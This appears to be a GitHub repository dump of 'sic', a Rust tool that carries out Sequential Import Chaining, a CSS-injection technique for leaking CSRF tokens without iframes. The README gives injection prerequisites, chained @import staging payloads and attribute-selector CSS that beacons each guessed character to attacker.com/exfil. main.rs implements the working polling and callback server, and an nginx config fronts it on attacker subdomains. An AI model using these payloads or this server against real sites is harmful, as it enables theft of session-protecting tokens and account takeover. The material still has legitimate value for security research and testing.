├── .gitignore ├── .idea ├── encodings.xml ├── misc.xml ├── modules.xml └── vcs.xml ├── Cargo.toml ├── LICENSE ├── README.md ├── example_nginx.conf ├── sic.iml └── src └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.gitignore.io/api/rust,intellij 3 | # Edit at https://www.gitignore.io/?templates=rust,intellij 4 | 5 | ### Intellij ### 6 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm 7 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 8 | 9 | # User-specific stuff 10 | .idea/**/workspace.xml 11 | .idea/**/tasks.xml 12 | .idea/**/usage.statistics.xml 13 | .idea/**/dictionaries 14 | .idea/**/shelf 15 | 16 | # Generated files 17 | .idea/**/contentModel.xml 18 | 19 | # Sensitive or high-churn files 20 | .idea/**/dataSources/ 21 | .idea/**/dataSources.ids 22 | .idea/**/dataSources.local.xml 23 | .idea/**/sqlDataSources.xml 24 | .idea/**/dynamic.xml 25 | .idea/**/uiDesigner.xml 26 | .idea/**/dbnavigator.xml 27 | 28 | # Gradle 29 | .idea/**/gradle.xml 30 | .idea/**/libraries 31 | 32 | # Gradle and Maven with auto-import 33 | # When using Gradle or Maven with auto-import, you should exclude module files, 34 | # since they will be recreated, and may cause churn. Uncomment if using 35 | # auto-import. 36 | # .idea/modules.xml 37 | # .idea/*.iml 38 | # .idea/modules 39 | 40 | # CMake 41 | cmake-build-*/ 42 | 43 | # Mongo Explorer plugin 44 | .idea/**/mongoSettings.xml 45 | 46 | # File-based project format 47 | *.iws 48 | 49 | # IntelliJ 50 | out/ 51 | 52 | # mpeltonen/sbt-idea plugin 53 | .idea_modules/ 54 | 55 | # JIRA plugin 56 | atlassian-ide-plugin.xml 57 | 58 | # Cursive Clojure plugin 59 | .idea/replstate.xml 60 | 61 | # Crashlytics plugin (for Android Studio and IntelliJ) 62 | com_crashlytics_export_strings.xml 63 | crashlytics.properties 64 | crashlytics-build.properties 65 | fabric.properties 66 | 67 | # Editor-based Rest Client 68 | .idea/httpRequests 69 | 70 | # Android studio 3.1+ serialized cache file 71 | .idea/caches/build_file_checksums.ser 72 | 73 | # JetBrains templates 74 | **___jb_tmp___ 75 | 76 | ### Intellij Patch ### 77 | # Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721 78 | 79 | # *.iml 80 | # modules.xml 81 | # .idea/misc.xml 82 | # *.ipr 83 | 84 | # Sonarlint plugin 85 | .idea/sonarlint 86 | 87 | ### Rust ### 88 | # Generated by Cargo 89 | # will have compiled files and executables 90 | /target/ 91 | 92 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 93 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 94 | Cargo.lock 95 | 96 | # These are backup files generated by rustfmt 97 | **/*.rs.bk 98 | 99 | # End of https://www.gitignore.io/api/rust,intellij 100 | # 101 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 12 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "sic" 3 | version = "0.1.0" 4 | authors = ["d0nut "] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | clap = "2.32.0" 9 | futures = "0.1.25" 10 | hyper = "0.12.25" 11 | rand = "0.6" 12 | url = "1.7.2" -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 d0nut 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sequential Import Chaining 2 | 3 | Typical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using `x-frame-options: deny` or `x-frame-options: sameorigin`. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page). 4 | 5 | Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized. 6 | 7 | ### Blog Post 8 | I wrote a blog post on this. Read about it [here!](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b) 9 | 10 | ## Prerequisites for Attack 11 | 12 | This attack only works if the attacker at least one of these: 13 | 14 | * Style tag injection (HTML injection, for example) 15 | * Control of CSS at the top of a style tag. 16 | 17 | The first case is probably more likely and will work even if filtered through vanilla DOM Purify. 18 | 19 | ## Building 20 | 21 | 1. Install RustUp (https://rustup.rs/ - `curl https://sh.rustup.rs -sSf | sh`) 22 | 2. Install the nightly (`rustup install nightly`) 23 | 3. Default to nightly (`rustup default nightly`) 24 | 4. Build with cargo (`cargo build --release`) 25 | 26 | You will find the built binary at `./target/release/sic` 27 | 28 | ## Usage 29 | `sic` has documentation on the available flags when calling `sic -h` but the following is information for general usage. 30 | 31 | * `-p` will set the lower port that `sic` will operate on. By default this is 3000. `sic` will also listen on port `port + 1` (by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits. 32 | * `--ph` sets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults to `http://localhost:3000`. This _must_ be different than `--ch` 33 | * `--ch` similar to `--ph` but this sets the "callback host" where tokens are sent. Defaults to `http://localhost:3001`. This _must_ be different than `--ph`. 34 | * `-t` specifies the template file used to generate the token exfiltration payloads. 35 | * `--charset` specifies the set of characters that may exist in the target token. Defaults to alphanumerics (`abc...890`). 36 | 37 | A standard usage of this tool may look like the following: 38 | ``` 39 | ./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file 40 | ``` 41 | 42 | And the HTML injection payload you might use would look like: 43 | ``` 44 | 45 | ``` 46 | 47 | The `len` parameter specifies how long the token is. This is necessary for `sic` to generate the appropriate number of `/polling` responses. If unknown, it's safe to use a value higher than the total number of chars in the token. 48 | 49 | ### Advanced Logs 50 | `sic` will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable `RUST_LOG`. 51 | 52 | ``` 53 | RUST_LOG=info ./sic -t my_template_file 54 | ``` 55 | 56 | ### Templates 57 | The templating system is very straightforward for `sic`. There are two actual templates (probably better understood as 'placeholders'): 58 | * `{{:token:}}` - This is the current token that we're attempting to test for. This would be the `xyz` in `input[name=csrf][value^=xyz]{...}` 59 | * `{{:callback:}}` - This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (`--ch`). All the information `sic` needs to understand what happened client-side will be in this url. 60 | 61 | An example template file might look like this: 62 | ``` 63 | input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); } 64 | ``` 65 | 66 | `sic` will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls. 67 | 68 | ### HTTPS 69 | HTTPS is not directly support via `sic`; however, it's possible to use a tool like nginx to set up a reverse proxy in front of `sic`. An example configuration is found in the [example nginx config](/example_nginx.conf) file thoughtfully crafted up by [nbk_2000](https://twitter.com/nbk_2000). 70 | 71 | After nginx is configured, you would run `sic` using a command similar to the following: 72 | 73 | ``` 74 | ./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file 75 | ``` 76 | 77 | Note that the ports on `--ph` and `--ch` match up with the ports nginx is serving and not `sic`. 78 | 79 | ## Technique Description 80 | 81 | For a better story and additional information, please see my blog post on [Sequential Import Chaining here](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b). 82 | 83 | The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat. 84 | 85 | Obviously the "repeat" part is normally done using a full frame reload (iframing, or tabs... blah). 86 | 87 | However, we don't actually need to reload the frame to get the browser to reevaluate *new* CSS. 88 | 89 | Sequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations: 90 | 91 | 1. Inject an `@import` rule to the staging payload 92 | 2. Staging payload uses `@import` to begin long-polling for malicious payloads 93 | 3. Payloads cause browser to call out using `background-img: url(...)` causing the next long-polled `@import` rule to be generated and returned to the browser. 94 | 95 | ## Example 96 | 97 | Here's an example of what these might look like: 98 | 99 | ### Payload 100 | `` 101 | 102 | ### Staging 103 | ``` 104 | @import url(http://attacker.com/lp?len=0); 105 | @import url(http://attacker.com/lp?len=1); 106 | @import url(http://attacker.com/lp?len=2); 107 | ... 108 | @import url(http://attacker.com/lp?len=31); // in the case of a 32 char long token 109 | ``` 110 | 111 | ### Long-polled Payload (length 0) 112 | This is a unique, configurable template in `sic` because this part is very context specific to the vulnerable application. 113 | ``` 114 | input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); } 115 | input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); } 116 | input[name=xsrf][value^=c] { background: url(http://attacker.com/exfil?t=c); } 117 | ... 118 | input[name=xsrf][value^=Z] { background: url(http://attacker.com/exfil?t=Z); } 119 | ``` 120 | 121 | After the browser calls out to `http://attacker.com/exfil?t=`, `sic` records the token, generate the next long-polled payload, and return a response for `http://attacaker.com/lp?len=1`. 122 | 123 | ### Long-polled Payload (length 1 - given `s` as first char) 124 | ``` 125 | input[name=xsrf][value^=sa] { background: url(http://attacker.com/exfil?t=sa); } 126 | input[name=xsrf][value^=sb] { background: url(http://attacker.com/exfil?t=sb); } 127 | input[name=xsrf][value^=sc] { background: url(http://attacker.com/exfil?t=sc); } 128 | ... 129 | input[name=xsrf][value^=sZ] { background: url(http://attacker.com/exfil?t=sZ); } 130 | ``` 131 | 132 | This repeats until no more long-polled connections are open. 133 | 134 | ---- 135 | 136 | Shoutout to the following hackers for help in one way or another. 137 | 138 | * [0xacb](https://twitter.com/0xACB) 139 | * [cache-money](https://twitter.com/itscachemoney) 140 | * [Shubs](https://twitter.com/infosec_au) 141 | * [Sean](https://twitter.com/seanyeoh) 142 | * [Ruby](https://twitter.com/_ruby) 143 | * [vila](https://twitter.com/cgvwzq) 144 | * [nbk_2000](https://twitter.com/nbk_2000) 145 | -------------------------------------------------------------------------------- /example_nginx.conf: -------------------------------------------------------------------------------- 1 | # Nginx Example Config for sic (Sequential Import Chaining) tool by @d0nutptr 2 | # 3 | # Should let Nginx terminate SSL/TLS connections for sic 4 | # assuming the sic tool is being run something like this: 5 | # 6 | # ./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file 7 | # 8 | # NOTE: If you don't have a wildcard certificate, then you'll need to obtain 9 | # a certificate for the hostname used for the Polling (ph) and Callback (ch) hosts 10 | # 11 | # Config written by @nbk_2000 22-APR-2019 12 | 13 | server { 14 | 15 | listen 80 default_server; 16 | listen 443 ssl default_server; 17 | 18 | root /var/www/html; 19 | 20 | index index.html index.php; 21 | 22 | server_name _ ~^(?.+)\.attacker\.com$; 23 | 24 | location ~* \/(polling|callback|staging).* { 25 | proxy_pass http://127.0.0.1:3000; 26 | proxy_read_timeout 3600; 27 | add_header Content-Type text/css; 28 | } 29 | 30 | ssl_certificate /path/to/your/wildcard/cert/goes/here/fullchain.pem; 31 | ssl_certificate_key /path/to/your/wildcard/cert/goes/here/privkey.pem; 32 | } 33 | -------------------------------------------------------------------------------- /sic.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate clap; 2 | extern crate futures; 3 | extern crate hyper; 4 | extern crate rand; 5 | extern crate url; 6 | 7 | 8 | use clap::{Arg, App}; 9 | use futures::Async; 10 | use futures::future; 11 | use futures::task::Task; 12 | use hyper::{Body, Method, Request, Response, Server, StatusCode}; 13 | use hyper::rt::Future; 14 | use hyper::service::service_fn; 15 | use rand::prelude::*; 16 | use std::borrow::Cow; 17 | use std::collections::{HashMap, VecDeque}; 18 | use std::fs; 19 | use std::net::SocketAddr; 20 | use std::string::String; 21 | use std::sync::Arc; 22 | use std::sync::RwLock; 23 | use std::sync::RwLockReadGuard; 24 | use std::sync::RwLockWriteGuard; 25 | use url::Url; 26 | 27 | /// We need to return different futures depending on the route matched, 28 | /// and we can do that with an enum, such as `futures::Either`, or with 29 | /// trait objects. 30 | /// 31 | /// A boxed Future (trait object) is used as it is easier to understand 32 | /// and extend with more types. Advanced users could switch to `Either`. 33 | type BoxFut = Box, Error = hyper::Error> + Send>; 34 | 35 | fn parse_query_params(req: &Request) -> HashMap { 36 | let url = Url::parse("http://localhost").unwrap().join(&req.uri().to_string()).unwrap(); 37 | let cow_params: Vec<(Cow, Cow)> = url.query_pairs().collect(); 38 | let mut params = HashMap::new(); 39 | 40 | cow_params.iter().for_each(|item| { 41 | params.insert(item.0.to_string(), item.1.to_string()); 42 | }); 43 | 44 | params 45 | } 46 | 47 | /// This is our service handler. It receives a Request, routes on its 48 | /// path, and returns a Future of a Response. 49 | fn service_handler(req: Request, state: StateMap) -> BoxFut { 50 | let mut response = Response::new(Body::empty()); 51 | 52 | match (req.method(), req.uri().path()) { 53 | (&Method::GET, "/staging") => { 54 | let params = parse_query_params(&req); 55 | let len = match params.get("len").unwrap().parse::() { 56 | Ok(len) => len, 57 | Err(_) => { 58 | *response.status_mut() = StatusCode::INTERNAL_SERVER_ERROR; 59 | *response.body_mut() = Body::from("Missing len parameter on staging.".to_string()); 60 | return Box::new(future::ok(response)); 61 | } 62 | }; 63 | 64 | // generate a unique id here 65 | let mut rng = rand::thread_rng(); 66 | let id: u32 = rng.gen(); 67 | 68 | let host = &state.polling_host; 69 | 70 | let mut staging_payload = "".to_string(); 71 | 72 | for i in 0 .. len { 73 | staging_payload += &format!("@import url({});\n", craft_polling_url(host, &id.to_string(), i).to_string()); 74 | } 75 | 76 | *response.body_mut() = Body::from(staging_payload); 77 | } 78 | (&Method::GET, "/polling") => { 79 | let params = parse_query_params(&req); 80 | let id = params.get("id").unwrap(); 81 | let len = params.get("len").unwrap().parse::().unwrap(); 82 | 83 | let generated_future = GeneratedCssFuture { 84 | id: id.clone(), 85 | len, 86 | state 87 | }; 88 | 89 | return Box::new(generated_future); 90 | } 91 | (&Method::GET, "/callback") => { 92 | let params = parse_query_params(&req); 93 | let id = params.get("id").unwrap(); 94 | let token = params.get("token").unwrap(); 95 | 96 | state.insert_or_update_token(id, token); 97 | 98 | let queue: RwLockReadGuard> = state.awaiting_jobs.read().unwrap(); 99 | 100 | queue.iter().for_each(|task| { 101 | task.notify() 102 | }); 103 | 104 | println!("[id: {}] - {}", id, token); 105 | 106 | *response.body_mut() = Body::from("Successfully added new token state"); 107 | } 108 | 109 | // The 404 Not Found route... 110 | _ => { 111 | *response.status_mut() = StatusCode::NOT_FOUND; 112 | } 113 | }; 114 | 115 | Box::new(future::ok(response)) 116 | } 117 | 118 | struct GeneratedCssFuture { 119 | id: String, 120 | len: u32, 121 | state: StateMap 122 | } 123 | 124 | impl Future for GeneratedCssFuture { 125 | type Item = Response; 126 | type Error = hyper::Error; 127 | 128 | fn poll(&mut self) -> Result, Self::Error> { 129 | let current_token = match self.state.get_token(&self.id) { 130 | Some(token) => token.clone(), 131 | None => "".to_string() 132 | }; 133 | 134 | if current_token.len() as u32 >= self.len { 135 | let mut response = Response::new(Body::empty()); 136 | *response.body_mut() = Body::from(process_template(&self.state.template_line, &self.state.callback_host, &self.id, &self.state.charset, ¤t_token)); 137 | return Ok(Async::Ready(response)); 138 | } 139 | 140 | let mut queue: RwLockWriteGuard> = self.state.awaiting_jobs.write().unwrap(); 141 | queue.push_back(futures::task::current()); 142 | return Ok(Async::NotReady); 143 | } 144 | } 145 | 146 | #[derive(Clone)] 147 | struct StateMap { 148 | inner: Arc>>, 149 | awaiting_jobs: Arc>>, 150 | polling_host: String, 151 | callback_host: String, 152 | template_line: String, 153 | charset: String 154 | } 155 | 156 | impl StateMap { 157 | fn new(polling_host: String, callback_host: String, template_line: String, charset: String) -> Self { 158 | StateMap { 159 | inner: Arc::new(RwLock::new(HashMap::new())), 160 | awaiting_jobs: Arc::new(RwLock::new(VecDeque::new())), 161 | polling_host, 162 | callback_host, 163 | template_line, 164 | charset 165 | } 166 | } 167 | 168 | fn get_token(&self, id: &String) -> Option { 169 | self.inner.read().unwrap().get(id).map(|f| f.clone()) 170 | } 171 | 172 | fn insert_or_update_token(&self, id: &String, value: &String) { 173 | self.inner.write().unwrap().insert(id.clone(), value.clone()); 174 | } 175 | } 176 | 177 | fn main() { 178 | let matches = App::new("sic") 179 | .version("1.0") 180 | .author("By d0nut (https://twitter.com/d0nutptr)") 181 | .about("A tool to perform Sequential Import Chaining.") 182 | .arg(Arg::with_name("polling_host") 183 | .long("ph") 184 | .default_value("http://localhost:3000") 185 | .help("The address sic should use when calling polling endpoints. Must be different than the callback host.") 186 | .takes_value(true) 187 | .number_of_values(1)) 188 | .arg(Arg::with_name("callback_host") 189 | .long("ch") 190 | .default_value("http://localhost:3001") 191 | .help("The address sic should use when calling callback endpoints. Must be different than the polling host.") 192 | .takes_value(true) 193 | .number_of_values(1)) 194 | .arg(Arg::with_name("template") 195 | .short("t") 196 | .long("template") 197 | .help("Points to a local file containing the css exfiltration template. \n\ 198 | For more information on building templates, refer to the README.md that came with this project.") 199 | .required(true) 200 | .takes_value(true) 201 | .number_of_values(1)) 202 | .arg(Arg::with_name("charset") 203 | .short("c") 204 | .long("charset") 205 | .default_value("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 206 | .help("Defines the list of possible characters that can be used in this token.") 207 | .takes_value(true) 208 | .number_of_values(1)) 209 | .arg(Arg::with_name("port") 210 | .short("p") 211 | .long("port") 212 | .help("Specifies the lower of two service instances that sic will spawn. For example, if 3000 is specified, sic will spawn on 3000 and 3001.") 213 | .required(false) 214 | .takes_value(true) 215 | .number_of_values(1) 216 | .default_value("3000")) 217 | .get_matches(); 218 | 219 | let polling_host = matches.value_of("polling_host").unwrap().to_string(); 220 | let callback_host = matches.value_of("callback_host").unwrap().to_string(); 221 | let template_loc = matches.value_of("template").unwrap().to_string(); 222 | let charset = matches.value_of("charset").unwrap().to_string(); 223 | let port: u16 = matches.value_of("port").unwrap().parse::().unwrap(); 224 | 225 | assert_ne!(polling_host, callback_host); 226 | 227 | let template_line = fs::read_to_string(template_loc).expect("Unable to read template file."); 228 | 229 | hyper::rt::run(future::lazy(move || { 230 | let state = StateMap::new(polling_host.clone(), callback_host.clone(), template_line, charset.clone()); 231 | 232 | let polling_addr = SocketAddr::from(([0, 0, 0, 0], port)); 233 | let polling_state_instance = state.clone(); 234 | let polling_responder = Server::bind(&polling_addr) 235 | .serve(move || { 236 | let state = polling_state_instance.clone(); 237 | 238 | service_fn( move |req: Request| { 239 | service_handler(req, state.clone()) 240 | }) 241 | }) 242 | .map_err(|e| eprintln!("polling responder server error: {}", e)); 243 | 244 | let callback_addr = SocketAddr::from(([0, 0, 0, 0], port + 1)); 245 | let callback_state_instance = state.clone(); 246 | let callback_responder = Server::bind(&callback_addr) 247 | .serve(move || { 248 | let state = callback_state_instance.clone(); 249 | 250 | service_fn(move |req: Request| { 251 | service_handler(req, state.clone()) 252 | }) 253 | }) 254 | .map_err(|e| eprintln!("callback responder server error: {}", e)); 255 | 256 | hyper::rt::spawn(polling_responder); 257 | hyper::rt::spawn(callback_responder); 258 | 259 | Ok(()) 260 | })); 261 | } 262 | 263 | fn process_template(template_str: &String, host: &String, id: &String, charset: &String, known_token: &String) -> String { 264 | let mut result = "".to_string(); 265 | 266 | for chr in charset.chars() { 267 | let token_payload = format!("{}{}", known_token, &chr); 268 | let callback = craft_callback_url(host, id, &token_payload); 269 | result += &template_str 270 | .clone() 271 | .replace("{{:callback:}}", &callback.to_string()) 272 | .replace("{{:token:}}", &escape_for_css(&token_payload)); 273 | } 274 | 275 | result 276 | } 277 | 278 | fn craft_callback_url(host: &String, id: &String, token: &String) -> Url { 279 | let mut url = Url::parse(host).unwrap(); 280 | url.set_path("callback"); 281 | url.query_pairs_mut() 282 | .append_pair("token", token) 283 | .append_pair("id", id); 284 | 285 | url 286 | } 287 | 288 | fn craft_polling_url(host: &String, id: &String, len: u32) -> Url { 289 | let mut url = Url::parse(host).unwrap(); 290 | url.set_path("polling"); 291 | url.query_pairs_mut() 292 | .append_pair("len", &len.to_string()) 293 | .append_pair("id", id); 294 | 295 | url 296 | } 297 | 298 | fn escape_for_css(unescaped_str: &String) -> String { 299 | unescaped_str.replace("\\", "\\\\") 300 | .replace("!", "\\!") 301 | .replace("\"", "\\\"") 302 | .replace("#", "\\#") 303 | .replace("$", "\\$") 304 | .replace("%", "\\%") 305 | .replace("&", "\\&") 306 | .replace("'", "\\'") 307 | .replace("(", "\\(") 308 | .replace(")", "\\)") 309 | .replace("*", "\\*") 310 | .replace("+", "\\+") 311 | .replace(",", "\\,") 312 | .replace("-", "\\-") 313 | .replace(".", "\\.") 314 | .replace("/", "\\/") 315 | .replace(":", "\\:") 316 | .replace(";", "\\;") 317 | .replace("<", "\\<") 318 | .replace("=", "\\=") 319 | .replace(">", "\\>") 320 | .replace("?", "\\?") 321 | .replace("@", "\\@") 322 | .replace("[", "\\[") 323 | .replace("]", "\\]") 324 | .replace("^", "\\^") 325 | .replace("`", "\\`") 326 | .replace("{", "\\{") 327 | .replace("|", "\\|") 328 | .replace("}", "\\}") 329 | .replace("~", "\\~") 330 | } --------------------------------------------------------------------------------